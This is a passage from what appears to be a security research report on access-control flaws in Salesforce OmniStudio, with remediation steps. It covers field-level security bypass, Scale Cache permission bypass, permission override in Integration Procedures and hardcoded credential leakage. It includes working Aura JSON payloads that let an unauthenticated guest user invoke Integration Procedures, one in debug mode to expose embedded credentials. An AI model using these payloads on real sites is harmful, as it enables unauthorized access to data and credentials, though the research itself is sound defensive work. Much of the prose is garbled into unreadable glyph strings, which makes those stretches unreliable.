ǒ ầqȶςȶầšȶΆΆʢΒầᵉ|ЀςΒȶʄςᵊᵛầᵉƻϒʢΒЅ|̵ʄΒЅΆςʢʐÇ˥ʢ̑ʐȃȶ̑ϒʢαᵊᵛầϷȶαầʄΒʢȶςʢʐầς˒ȶςầΒʢςϒΒ̵αầς˒ʢầϳȶ̑ϒʢầͅ˃ầς˒˥αầʢ̵ʄΒЅΆςʢʐầ˃˥ʢ̑ʐầ˥̵ầς˒ʢầͅϒςΆϒςᵜầ 
ǒ Ǘ˒ʢầžǉầffầƴΒͅ˃˥̑ʢầϷȶαầˈΒȶ̵ςʢʐầȶʄʄʢααầςͅầς˒ʢầfϒας̮ͅầžɽ́ʢʄςᵊαầΒʢʄͅΒʐαầς˒Βͅϒˈ˒ầ|žȆqᵜầǗ˒ʢЅầϷʢΒʢầ̵ͅςầˈ˥ϳʢ̵ầς˒ʢầᵉȃ˥ʢϷầ
|̵ʄΒЅΆςʢʐầqȶςȶᵊầΆʢΒ̮˥αα˥̵ͅ.  

 

Proof - Of-Concept  

A session was established on a Digital Experience for an OS CC user. It was first was confirmed that the field was encrypted by 
ȶςςʢ̮Άς˥̵ˈầςͅầʢЀςΒȶʄςầς˒ʢầͅɽ́ʢʄςᵊαầϳȶ̑ϒʢαầϒα˥̵ˈầς˒ʢầᵉǉʢ̑ʢʄςȶɽ̑ʢŖ˥αςqȶςȶƴΒͅϳ˥ʐʢΒf̵ͅςΒ̑̑ͅʢΒᴭ fǗăžũֶˈʢςăςʢ̮αᵊầ ΆʢЀầ̮ʢς˒ͅʐᵛầϷ˒˥ʄ˒ is 
designed to return the record data that someone has permission to see in an object.  
 

 
 
Then by using the same payload as before , but applying it to the newly created Data Mapper, the value is returned in plain text.  
 

 

Risk 

ǣαʢΒαầϷ˥ς˒ͅϒςầς˒ʢầᵉȃ˥ʢϷầ|̵ʄΒЅΆςʢʐầqȶςȶᵊầΆʢΒ̮˥αα˥̵ͅầʄȶ̵ầȶʄʄʢααầΆ̑ȶ˥̵ςʢЀςầϳȶ̑ϒʢαầͅ˃ầʢ̵ʄΒЅΆςʢʐầ˃˥ʢ̑ʐαầΒʢςϒΒ̵ʢʐầɽЅầʄʢΒςȶ˥̵ầqȶςȶầšapper 
operations which may result in the disclosure of exceptionally sensitive information to normally unauthorized individuals.  
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Recommendations  

Organizations can choose to enable an Omni Interaction Configuration setting, EnforceDMFLSAndDataEncryption , to ensure that 
̵̑ͅЅầϒαʢΒαầϷ˥ς˒ầς˒ʢầᵉȃ˥ʢϷầ|̵ʄΒЅΆςʢʐầqȶςȶᵊầΆʢΒ̮˥αα˥̵ͅầ̮ȶЅầαʢʢầς˒ʢầΆ̑ȶ˥̵ςʢЀςầϳȶ̑ϒʢầͅ˃ầ˃˥ʢ̑ʐαầΒʢςϒΒ̵ʢʐầɽЅầς˒ʢầqȶςȶầšȶΆΆʢΒᵜầũͅςʢầthat 
enabling this setting will also enable FLS checks  for Data Mappers organization -wide, as previously mentioned in . 
 

1. From Setup , enter Omni Interaction Configuration  and select Feature Settings > Omni Interaction > Omni Interaction 
Configuration . 

2. Select New Omni Interaction Configuration . 
3. For Name  and Label , enter EnforceDMFLSAndDataEncryption . For the Value  field, enter true . 
4. Click Save . 

 
Once complete, repeating the same request to the Data Mapper as before will show that encrypted field value is returned in ma sked 
format.  

 
 

5.1.3 Circumventing Permission Checks Through Scale Cache  

Overview  

The Scale Cache  is a concept that is unique to OmniStudio Standard. It is a feature that is enabled by default and allows for the 
caching of a Data Mapper and IP metadata. In simplified terms, once either of these components are executed, even in preview mode, 
its defini tion is stored within the Scale Cache to speed up future executions.  
 
It is believed that users are required to have Sharing Rules configured for Data Mapper / IProc sObjects in order to grant ac cess to 
ʢЀʢʄϒςʢầȶầαΆʢʄ˥˃˥ʄầqȶςȶầšȶΆΆʢΒầͅΒầăƴΒͅʄᵜầ ʐʐ˥ς˥̵ͅȶ̑̑Ѕᵛầ˥˃ầȶ̵Ѕầ˃ϒΒς˒ʢΒầΆʢΒ̮˥αα˥̵ͅαầȶΒʢầʐʢ˃˥̵ʢʐầϷ˥ς˒˥̵ầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅαᵊầ˃˥ʢ̑ʐầͅ˃ầ
these components, it is believed users are required to possess those also. But in spite of this, I discovered that once the m etadata is 
stored within the Scale Cache, these components temporarily become executable to any user regardless of an y permission 
requirements . In other words, users may execute the Data Mapper even if:  
 
ǒ Ǘ˒ʢЅầʐͅầ̵ͅςầΆͅααʢααầς˒ʢầᵉEnables consumers and partners to execute OmniScripts, DRs, Cards through a Community or off 
Ά̑ȶς˃ͅΒ̮ᵊầǉЅαςʢ̮ầƴʢΒ̮˥αα˥̵ͅᵜ 

ǒ They do not have access to the Data Mapper through Sharing Rules  
ǒ Ǘ˒ʢЅầʐͅầ̵ͅςầαȶς˥α˃Ѕầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầΒʢΎϒ˥Βʢ̮ʢ̵ςᴛαᴜ 

 
Below is a depiction of the first successful execution of a Data Mapper by an authorized user, wherein there is no existing metadata in 
the Scale Cache.  

 

Storage of Data Mapper metadata in scale cache after successful execution  

https://help.salesforce.com/s/articleView?id=sf.os_cache_for_dataraptors_and_integration_procedures_48057.htm&language=en_US&type=5
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The security issue is then introduced upon all subsequent executions after the metadata has been stored in the cache. Below d epicts 
this problem, assuming the actions in the above diagram have already occurred.    
 

 

Unauthorized User Executing Data Mapper  

Practical Demonstration  

Setting Up  

ǒ ầfϒας̮ͅầžɽ́ʢʄςᵛầᵉǉ̮ͅʢžɽ́ᶉᶉʄᵊầϷȶαầʄΒʢȶςʢʐᵜầǗ˒ʢầËϒʢαςầǣαʢΒầϷȶαầˈΒȶ̵ςʢʐầȶʄʄʢααầςͅầ˥ςαầΒʢʄͅΒʐαầϳ˥ȶầËϒʢαςầǉ˒ȶΒ˥̵ˈầƼϒ̑ʢαầɽϒςầnot read 
access ςͅầς˒ʢầᵉËϒʢαςαǉ˒ͅϒ̑ʐ̵ςǉʢʢǗ˒˥αᶉᶉʄᵊầ˃˥ʢ̑ʐᵜ 

ǒ ầqȶςȶầšȶΆΆʢΒᵛầᵉËʢςǉʢ̵α˥ς˥ϳʢȃȶ̑ϒʢαᵊᵛầϷȶαầʄΒʢȶςʢʐầςͅầΒʢςϒΒ̵ầς˒ʢầϳȶ̑ϒʢᴛαᴜầͅ˃ầς˒ʢầᵉËϒʢαςαǉ˒ͅϒ̑ʐ̵ςǉʢʢǗ˒˥αᶉᶉʄᵊầ˃˥ʢ̑ʐᵜầǗ˒˥αầqȶςȶầšȶpper 
ʐͅʢαầ̵ͅςầʢ̵˃ͅΒʄʢầÇŖǉᵜầǗ˒ʢầqȶςȶầšȶΆΆʢΒầȶ̑ᾳầ˒ȶʐầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầαʢςầςͅầᵉƴΒͅ˃˥̑ʢᵟầǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒᵊầᾳầς˒ȶς only 
System Administrators should be able to access it.  

ǒ The Guest User was not granted access to any Data Mappers , as no Guest Sharing Rules for the Data Mapper sObject were created 
to allow for their execution.  

 

Proof - Of-Concept  

Since this Data Mapper had never been executed by anyone, its first execution using a near identical payload to the one shown  in  returned 
an error to the Guest User:  

 
 
ăςầϷȶαầς˒ʢ̵ầʢЀʢʄϒςʢʐầɽЅầς˒ʢầǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒầϒα˥̵ˈầς˒ʢầqȶςȶầšȶΆΆʢΒᵊαầᵉƴΒʢϳ˥ʢϷᵊầ˃ϒ̵ʄς˥̵ͅȶ̑˥ςЅᵜ 
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Ȇ˥ς˒ầς˒ʢầqȶςȶầšȶΆΆʢΒᵊαầ̮ʢςȶʐȶςȶầ̵ͅϷầαςͅΒʢʐầ˥̵ầς˒ʢầʄȶʄ˒ʢᵛầς˒ʢầËϒʢαςầUser attempts to execute it again. This time it is successful, as it 
re-ϒαʢʐầς˒ʢầ̮ʢςȶʐȶςȶầ˃Β̮ͅầς˒ʢầȶʐ̮˥̵ᵊαầʢЀʢʄϒς˥̵ͅᵜầǉ˥̵ʄʢầς˒˥αầqȶςȶầšȶΆΆʢΒầʐͅʢαầ̵ͅςầʢ̵˃ͅΒʄʢầÇŖǉᵛầς˒ʢầϳȶ̑ϒʢầͅ˃ầ
ᵉËϒʢαςαǉ˒ͅϒ̑ʐ̵ςǉʢʢǗ˒˥αᶉᶉʄᵊầ˥αầΒʢςϒΒ̵ʢʐᵜ 
 

  

Risk 

When this is combined with the security concerns that are discussed in other sections, such as the bypassing of FLS  or a Data 
šȶΆΆʢΒᵊαầȶɽ˥̑˥ςЅầςͅầ, this can result in the disclosure of sensitive data to internal or external individuals. Its cache entry is also 
refreshed upon each successful execution by any other user, which could result in unauthorized access to the Data Mapper or 
Integration Proce dure for an extended period of time.  

Recommendation  

Unfortunately there is no configuration setting that allows for the use of the Scale Cache while also respecting Data Mapper security 
controls. After thorough testing, including the enablement of the CheckCachedMetadataRecordSecurity  OmniStudio setting, it was 
revealed that the only way to enforce authorization checks for Data Mappers is to turn the Scale Cache off completely. Please  note 
that this may result in a performance degradation for both Data Mapper and IProc executions. To disable the Scale Cache , follow 
these steps:  
 

1. From Setup, enter Omni Interaction Configuration  and select Feature Settings > Omni Interaction > Omni Interaction 
Configuration . 

2. Select New Omni Interaction Configuration . 
3. In the Label  field, enter TurnOffScaleCache . Within the Value  field, enter true . 
4. Click Save . 

  

https://help.salesforce.com/s/articleView?id=sf.os_turn_off_the_scale_cache_55140.htm&language=en_US&type=5
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5.2 Integration Procedures  

5.2.1 Permission Override for Contained Actions  

Overview  

ž̵ʢầͅ˃ầς˒ʢầ̮ͅαςầ̵ͅςȶɽ̑ʢầɽʢ˒ȶϳ˥ͅΒαầͅ˃ầăƴΒͅʄαầϷ˥ς˒ầΒʢαΆʢʄςầςͅầΆʢΒ̮˥αα˥̵ͅαầ˥αầς˒ȶςầς˒ʢЅầʐͅầ̵ͅςầΒʢαΆʢʄςầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊ setting 
nor the Sharing Rules of any Data Mapper or other IProc that they call as part of their actions . If a user executes an IProc, which 
contains another IProc and/or a Data Mapper as an action, the user must only satisfy the access controls (if any) on the init ial IProc 
being executed. In other words, the permission requirement of the calling IProc over rides the permission requir ements of the called 
actions. This behavior is documented by Salesforce . 
 

 
 

Practical Demonstration  

Setting Up  

ǒ ̵ầăƴΒͅʄᵛầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊᵛầϷȶαầʄΒʢȶςʢʐầϷ˒˥ʄ˒ầ̮ȶ̉ʢαầȶ̵ầȶϒς˒ʢ̵ς˥ʄȶςʢʐầΒʢΎϒʢαςầςͅầȶầαʢ̵α˥ς˥ϳʢầʢЀςʢΒ̵ȶ̑ầ ƴăầȶ̵ʐầΒʢςϒΒ̵αầς˒ʢầ
Βʢαϒ̑ςαᵜầÇͅΒầς˒ʢầΆϒΒΆͅαʢαầͅ˃ầΒʢΆΒͅʐϒʄς˥̵ͅᵛầς˒˥αầʢ̵ʐΆͅ˥̵ςầα˥̮Ά̑ЅầΒʢςϒΒ̵αầς˒ʢầαςΒ˥̵ˈầᵉǉ̮ͅʢς˒˥̵ˈầǉʢ̵α˥ς˥ϳʢᵊᵜầǗ˒˥αầăƴΒͅʄᵊαầᵉƼʢΎϒ˥red 
ƴʢΒ̮˥αα˥̵ͅᵊầϷȶαầαʢςầςͅầς˒ʢầᵉǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒᵊầΆΒͅ˃˥̑ʢᵜầ ̑̑ầ˃ͅΒ̮αầͅ˃ầʄȶʄ˒˥̵ˈầϷʢΒʢầʐ˥αȶɽ̑ʢʐᵜ 

ǒ ̵ầăƴΒͅʄᵛầᵉfȶ̑̑žς˒ʢΒăƴᵊᵛầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ầ̵ͅầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầαʢςᵜầǗ˒˥αầʢЀʢʄϒςʢαầς˒ʢầ˃˥ΒαςầăƴΒͅʄᵛầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊᵛầȶnd 
returns the result. All forms of caching were disabled.  

ǒ ầǉ˒ȶΒ˥̵ˈầƼϒ̑ʢầϷȶαầʄΒʢȶςʢʐầςͅầˈΒȶ̵ςầς˒ʢầËϒʢαςầǣαʢΒầȶʄʄʢααầςͅầᵉfȶ̑̑žς˒ʢΒăƴᵊᵛầɽϒςầ̵ͅςầςͅầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊᵜ 
 
Ȇ˥ς˒ầς˒˥αầʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅᵛầς˒ʢΒʢầȶΒʢầςϷͅầ˃ͅΒ̮αầͅ˃ầȶʄʄʢααầʄ̵ͅςΒ̑ͅầ̮ʢʄ˒ȶ̵˥α̮αầΆΒͅςʢʄς˥̵ˈầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊầ˃Β̮ͅầς˒ʢầËϒʢαςầǣαʢΒᵜ This 
˃˥Βαςầ˥αầς˒ʢầȶɽαʢ̵ʄʢầͅ˃ầȶầǉ˒ȶΒ˥̵ˈầƼϒ̑ʢầ˃ͅΒầς˒ʢầËϒʢαςầǣαʢΒᵛầȶ̵ʐầς˒ʢầαʢʄ̵ͅʐầ˥αầ˥ςαầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầɽʢ˥̵ˈầαʢςầςͅầᵉǉЅstem 
ʐ̮˥̵˥αςΒȶςͅΒᵊᵜầ 

 

Proof - Of-Concept  

An unauthenticated Guest User session was established on the Digital Experience. Using this session, the following payload wa s run 
ςͅầʢЀʢʄϒςʢầς˒ʢầᵉfȶ̑̑žς˒ʢΒăƴᵊầăƴΒͅʄᵟ 
{  

  "actions":  [  

    {  

      "id":  "16;a",  

      "descriptor":  "aura://ApexActionController/ACTION$execute",  

      "callingDescriptor":  "UNKNOWN", 

      "params":  {  

        "namespace":  " omnistudiocore",  

        "classname":  "BusinessProcessDisplayController",  

        "method":  "GenericInvoke2NoCont",  

        "params":  {  

          "input":  "{}",  

          "options":  

"{ \ "useFuture \ ":false, \ "chainable \ ":false, \ "preTransformBundle \ ": \ " \ ", \ "postTransformBundle \ ": \ " \ ", \ "useQueueableApexRemoting \

":false, \ "ignoreCache \ ":false, \ "vlcClass \ ": \ "omnistudiocore.IntegrationProcedureService \ ", \ "useContinuation \ ":false}",  

          "sClassName":  "omnistudio.IntegrationProcedureService",  

          "sMethodName":  "CallOtherIP_CallOtherIP"  

        },  

        "cacheable":  false,  

        "isContinuation":  false  

      }  

    }  

  ]  

}  

https://help.salesforce.com/s/articleView?id=sf.os_syntax_of_the_required_permission_property_56644.htm&language=en_US&type=5#:~:text=When%20an%20Integration%20Procedure%20calls,Data%20Mapper%20or%20Integration%20Procedure


15 

   Salesforce industry cloud s 
: Low -Code, High Stakes  
 

˃ςʢΒầΒϒ̵̵˥̵ˈầς˒ʢầȶɽͅϳʢᵛầ˥ςầϷȶαầͅɽαʢΒϳʢʐầς˒ȶςầς˒ʢầ̑ȶʄ̉ầͅ˃ầΆʢΒ̮˥αα˥̵ͅαầΒʢΎϒ˥Βʢʐầ˃ͅΒầᵉfȶ̑̑žς˒ʢΒăƴᵊầ˒ȶαầͅϳʢΒΒ˥ʐʐʢ̵ầς˒ȶςầͅ˃ầς˒ʢầăProc that it 
˥αầʄȶ̑̑˥̵ˈᵛầȶ̵ʐầȶʄʄʢααầ˥αầˈΒȶ̵ςʢʐầςͅầς˒ʢầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊầΒʢαϒ̑ςᵜ 
 

 

ƴʢΒ̮˥αα˥̵ͅầžϳʢΒΒ˥ʐʢầͅ˃ầᵉfȶ̑̑žς˒ʢΒăƴᵊầˈΒȶ̵ςαầȶʄʄʢααầςͅầϒ̵ʐʢΒ̑Ѕ˥̵ˈầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᵊầȶʄς˥̵ͅ 

 

Risk 

Organizations may have widely accessible IProcs that call upon powerful actions under the misconception that the permission 
ΒʢΎϒ˥Βʢ̮ʢ̵ςαầͅ˃ầȶ̑̑ầͅ˃ầȶ̵ầăƴΒͅʄᵊαầȶʄς˥̵ͅαầϷ˥̑̑ầɽʢầʢϳȶ̑ϒȶςʢʐầ˃ͅΒầς˒ʢầʄȶ̑̑˥̵ˈầϒαʢΒᵜầǉϒʄ˒ầȶʄς˥̵ͅαầ̮ȶЅầ˥̵ʄ̑ϒʐʢᵟ 
 
ǒ A Data Mapper Extract Action  which bypass es FLS (as discussed in )  
ǒ An Integration Procedure Action , this other IProc may:  

o Perform authenticated remote callouts to sensitive external APIs.  
o Call a Remote Action Apex class which does not enforce sharing rules (later discussed in ) 

 

Recommendation(s)  

While it is understandably imperative to lock down access to all IProcs, the importance of this is emphasized further when co nsidering 
that seemingly innocuous IProcs may inadvertently grant access to powerful Data Mappers or other IProcs by including them  as part 
of its actions.  
 
To truly enforce the principle of least -privilege, I recommend the following steps:  

1. Implement the DefaultRequiredPermission  setting. Organizations may set this permission to that of a Profile or PermSet that 
only internal users possess.  

a. In the Quick Find  box , search for Omni Interaction Configuration  and select Feature Settings  > Omni Interaction  > 
Omni Interaction Configuration . 

b. Select New Omni Interaction Configuration . 
c. For the Label  field, type DefaultRequiredPermission. For the Value  field, using the required syntax , enter the default 

permission to be set.  
d. Click Save .  

2. For any IProc that must be executed by an external user or Guest User, evaluate the nature of its actions before granting 
access.  

3. If these actions do not  facilitate any of the possible dangers mentioned in the Risk section, the organization may choose to add 
permission identifiers for external entities to the *IProcs Required Permission  field.  

a. From Service Setup , open the App Launcher . 
b. Enter OmniStudio Integration Procedure and select OmniStudio Integration Procedure . 
c. Locate the IProc you wish to open up access to. Select it, and choose the latest version . 
d. Once opened, select Create Version . 
e. Select the first action, Procedure Configuration . 
f. *Under Properties  > Required Permission (Optional), enter the name of the Guest User Profile or their assigned 

Permission Set using the required syntax . 
g. Select Activate Version . 

 
ᶍầă˃ầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầ̵ͅầȶ̵ầăƴΒͅʄ is modified, the permission identifiers for internal users must also be included in this 
field to retain their access.  

5.2.2 Hardcoded Credential Disclosure in HTTP Actions  

Overview  

IProcs allow for the creation of a HTTP action which can be used to perform remote callouts to an external site. The general use-case 
of these actions is to integrate with organization APIs outside of Salesforce using REST calls, with the ability to read f rom them or 
write to them. As part of these callouts, organizations may configure authentication properties in the event that access cont rols exist 
on the API being called. For a generic API which requires the existence of an authentication header, organiz ations may choose to 
either leverage a Named Credential  (with an External Credential present) to authenticate and perform the query, or they may decide 
to hardcode the authentication information such as username/password or access tokens within a REST header or body of the IPr oc.   

https://help.salesforce.com/s/articleView?id=xcloud.os_dataraptor_and_integration_procedure_security_settings_56587.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_syntax_of_the_required_permission_property_48272.htm&type=5
https://help.salesforce.com/s/articleView?id=xcloud.os_syntax_of_the_required_permission_property_48272.htm&type=5
https://help.salesforce.com/s/articleView?id=sf.nc_named_creds_and_ext_creds.htm&language=en_US&type=5
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The issue with hardcoding credentials within the IProc is that anyone who can execute it can also see the values stored within these 
fields . There are two ways through which this can happen depending on the identity of the executing user:  
 

1. For anyone either internal or external that is not  the Guest User, they may use 
ᵉǉʢ̑ʢʄςȶɽ̑ʢŖ˥αςqȶςȶƴΒͅϳ˥ʐʢΒf̵ͅςΒ̑̑ͅʢΒᴭ fǗăžũֶˈʢςăςʢ̮αᵊ ͅΒầα˥̮˥̑ȶΒầςͅầΎϒʢΒЅầăƴΒͅʄᵊαầʄͅΒΒʢαΆ̵ͅʐ˥̵ˈầαžɽ́ʢʄςᵜầ^ϒΒ˥ʢʐầϷ˥ς˒˥̵ầς˒ʢầ
Ňǉžũầϳȶ̑ϒʢầͅ˃ầς˒ʢầαžɽ́ʢʄςᵊαầContent  field will be the hardcoded credential. More concerningly, if an external user such as a 
Community Site User has access to an IProc through EOWD or Sharing Rules/Sets, but cannot actually execute the IProc 
ʐϒʢầςͅầ˥ςαầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅᵛầς˒˥αầʐȶςȶầϷ˥̑̑ầας˥ll be disclosed.  

 
2. The Guest User does not have access to query the OmniProcessCompilation sObject due to a baked - in restriction of 
ᵉǉʢ̑ʢʄςȶɽ̑ʢŖ˥αςqȶςȶƴΒͅϳ˥ʐʢΒf̵ͅςΒ̑̑ͅʢΒᵊᵜầßͅϷʢϳʢΒᵛầς˒ʢЅầ˒ȶϳʢầς˒ʢầȶɽ˥̑˥ςЅầςͅầ˃ͅΒʄʢầς˒ʢầăƴΒͅʄầςͅầΒϒ̵ầ˥̵ầᵉqʢɽϒˈầšͅʐʢᵊầϷ˒˥ʄ˒ầϷ˥̑̑ầαpit 
out the hardco ded credential in the response after its execution.  

Practical Demonstration  

Setting Up  

To prepare for the first scenario (1) mentioned above:  
ǒ An IProc was created with an embedded Basic Authentication credential in one of its HTTP actions. It was then restricted 
ϒα˥̵ˈầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầςͅầ̵̑ͅЅầȶ̑̑ͅϷầς˒ʢầǉЅαςʢ̮ầ ʐ̮˥̵˥αςΒȶςͅΒầςͅầʢЀʢʄϒςʢầ˥ς.  

 
To prepare for the second scenario (2) mentioned above:  
ǒ ầαʢʄ̵ͅʐầăƴΒͅʄầϷȶαầʄΒʢȶςʢʐầϷ˥ς˒ầȶ̵ầ˥ʐʢ̵ς˥ʄȶ̑ầȶʄς˥̵ͅầʄ̵ͅ˃˥ˈϒΒȶς˥̵ͅầȶαầς˒ʢầᵉƴʢΒ˃ͅΒ̮Ȇʢɽfȶ̑̑ͅϒςᶉž̵ʢᵊầăƴΒͅʄᵛầɽϒςầϷ˥ς˒ͅϒςầς˒ʢầ
ᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầ˃˥ʢ̑ʐầΒʢαςΒ˥ʄς˥̵ͅαầΆΒʢαʢ̵ςᵜầ 

ǒ The Guest User was granted access to this IProc through Sharing Rules.  
 

Proof of Concept  

To demonstrate the first (1) possible avenue through which credentials could be leaked, a session was established for a user with the 
žǉầffầƴΒͅ˃˥̑ʢầ̵ͅầς˒ʢầq˥ˈ˥ςȶ̑ầ|ЀΆʢΒ˥ʢ̵ʄʢᵜầǣα˥̵ˈầς˒˥αầαʢαα˥̵ͅᵛầς˒ʢầᵉǉʢ̑ʢʄςȶɽ̑ʢŖ˥αςqȶςȶƴΒͅϳ˥ʐʢΒf̵ͅςΒ̑̑ͅʢΒᴭ fǗăžũֶˈʢςăςʢ̮αᵊầ̮ʢthod was 
ΆΒͅϳ˥ʐʢʐầς˒ʢầ̵ȶ̮ʢầͅ˃ầς˒ʢầͅɽ́ʢʄςầΒʢαΆ̵ͅα˥ɽ̑ʢầ˃ͅΒầαςͅΒ˥̵ˈầăƴΒͅʄầΒʢʄͅΒʐαᵛầᵉž̵̮˥ƴΒͅʄʢααf̮ͅΆ˥̑ȶς˥̵ͅᵊᵛầȶ̵ʐầʢЀʢʄϒςʢʐᵜầ ˃ςʢΒầ̑ͅʄȶς˥̵ˈ the 
record belonging to the first IProc  ăầʄΒʢȶςʢʐầ˥̵ầς˒ʢầΒʢαΆ̵ͅαʢᵛầ˥ςầϷȶαầ̵ͅςʢʐầς˒ȶςầς˒ʢầßǗǗƴầȶʄς˥̵ͅᵊαầʄΒʢʐʢ̵ς˥ȶ̑αầϷʢΒʢầʐisclosed:  
 

 
 
To demonstrate the second (2) method, the previous session was replaced with that of an unauthenticated Guest User. A previous 
payload , which executes a given IProc, was modified so that it would execute the second IProc  I created in debug mode . This was 
done by adding  \ᵎ˥αqʢɽϒˈ\ᵏᵟςΒϒʢ ςͅầ˥ςαầᵉͅΆς˥̵ͅαᵊầ̮ȶΆᵜ 
 
{  

  "actions": [  

    {  

      "id": "16;a",  

      "descriptor": "aura://ApexActionController/ACTION$execute",  

      "callingDescriptor": "UNKNOWN",  

      "params": {  

        "namespace": "omnistudiocore",  

        "classname": "BusinessProcessDisplayController",  

        "method": "GenericInvoke2NoCont",  

        "params": {  

          "input": "{}",  

          "options": 

"{ \ "useFuture \ ":false, \ "chainable \ ":false, \ "preTransformBundle \ ": \ " \ ", \ "postTransformBundle \ ": \ " \ ", \ "useQueueableApexRemoting \

":false, \ "ignoreCache \ ":false, \ "isDebug \ ":true, \ "vlcClass \ ": \ "omnistudiocore.IntegrationProcedureService \ ", \ " useContinuation \ "

:false}",  

          "sClassName": "omnistudio.IntegrationProcedureService",  

          "sMethodName": "PerformWebCallout_PerformWebCallout"  

        },  

        "cacheable": false,  

        "isContinuation": false  

      }  

    }  

  ]  

}  
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|Ѐʢʄϒς˥̵ˈầς˒˥αầΒʢαϒ̑ςʢʐầ˥̵ầς˒ʢầʐ˥αʄ̑ͅαϒΒʢầͅ˃ầς˒ʢầßǗǗƴầȶʄς˥̵ͅᵊαầʄΒʢʐʢ̵ς˥ȶ̑αᵜ 
 

 
 

While this is not as concerning as the first scenario because of the requirement for the Guest User to actually have permissi ons to 
execute the IProc, it still poses a security risk. For example, the IProc may be configured to strictly query a non -sensitiv e path of an 
endpoint, but the credentials being used may have access to different paths and resources which contain sensitive data. A mal icious 
actor could query these alternative paths with the credentials now in -hand.  

Risk 

ǉʢ̵α˥ς˥ϳʢầ˥̵˃ͅΒ̮ȶς˥̵ͅầαϒʄ˒ầȶαầ ƴăầ̉ʢЅαầͅΒầʄΒʢʐʢ̵ς˥ȶ̑αầς˒ȶςầ̮ȶЅầɽʢầʢ̮ɽʢʐʐʢʐầʐ˥Βʢʄς̑Ѕầ˥̵ầȶầßǗǗƴầȶʄς˥̵ͅᵊαầ˒ʢȶʐʢΒαầͅΒầƴžǉǗầʐȶςȶầ̮ay be 
leaked to unauthorized internal and external parties. This could result in their theft, and subsequently the misuse of extern al 
organization APIs. The risk of this is heightened knowing that external identities such as OS CC Profile users may access thi s data 
ΒʢˈȶΒʐ̑ʢααầͅ˃ầς˒ʢầᵉƼʢΎϒ˥ΒʢʐầƴʢΒ̮˥αα˥̵ͅᵊầʄ̵ͅ˃˥ˈϒΒʢʐầ̵ͅầς˒ʢầăƴΒͅʄᵜ 

Recommendation(s)  

It is advised to utilize Named Credentials for any form of authenticated callout in HTTP actions as opposed to directly embed ding 
credentials within actions themselves. Not only is this superior as a means of centralized authentication management for APIs , it also 
prevents the disclosure of credentials in both cases that were previously provided within this section.  
 
Ǘͅầʄ̵ͅ˃˥ˈϒΒʢầȶầũȶ̮ʢʐầfΒʢʐʢ̵ς˥ȶ̑ầ˃ͅΒầȶ̵ầăƴΒͅʄᵊαầßǗǗƴầȶʄς˥̵ͅᵟ 
 

1. Follow the official Salesforce instructions for creating Named Credentials and External Credentials. One important item to note 
that is not covered within the documentation is that the Named Credential must have the value of the Allowed Namespaces 
for Callouts  field set to omnistudio . 

2. Once complete, navigate to Service Setup  and open the App Launcher . 
3. Enter OmniStudio Integration Procedure and select OmniStudio Integration Procedure . 
4. Locate the IP you wish to modify. Select it, and choose the latest version . 
5. Once opened, select Create Version . 
6.  Select the HTTP action.  
7. Under Properties  > Named Credential, enter the name of the Named Credential.  
8. Directly below, expand REST Options , and remove any credentials within the Headers  or Params  fields.  
9.  Select Activate Version . 

 
Deactivate and delete  all previous versions of the IP, as inactive versions can still disclose previously embedded credentials  when 
ς˒ʢầᵉž̵̮˥ƴΒͅʄʢααf̮ͅΆ˥̑ȶς˥̵ͅᵊầͅɽ́ʢʄςầ˥αầȶʄʄʢααʢʐầϒα˥̵ˈầ̮ʢς˒ͅʐầᴛןᴜầα˒ͅϷ̵ầϷ˥ς˒˥̵ầς˒ʢầΆΒͅͅ˃-of -concept.  
 

5.2.3 Invoking Arbitrary Callable Apex Without Explicit Permissions  

Overview  

Remote Actions are one of the many data source types that can be used by FlexCards and IProcs. They allow for the execution o f 
special Apex classes by these components. This is an extremely useful feature as it allows for complex operations on user -supplie d 
values.  
 
In order for an Apex class method be queried using a Remote Action, it must fit the following criteria:  
  

1. Ǘ˒ʢầ ΆʢЀầf̑ȶααầɽʢ˥̵ˈầʄȶ̑̑ʢʐầ̮ϒαςầ˥̮Ά̑ʢ̮ʢ̵ςầς˒ʢầᵉϳ̑ͅʄ˥ςЅͅΆʢ̵˥̵ςʢΒ˃ȶʄʢᵊᵛầᵉȃ̑ͅʄ˥ςЅžΆʢ̵ă̵ςʢΒ˃ȶʄʢנᵊᵛầͅΒầᵉfȶ̑̑ȶɽ̑ʢᵊầ˥̵ςʢΒ˃ȶʄʢᴛαᴜ 
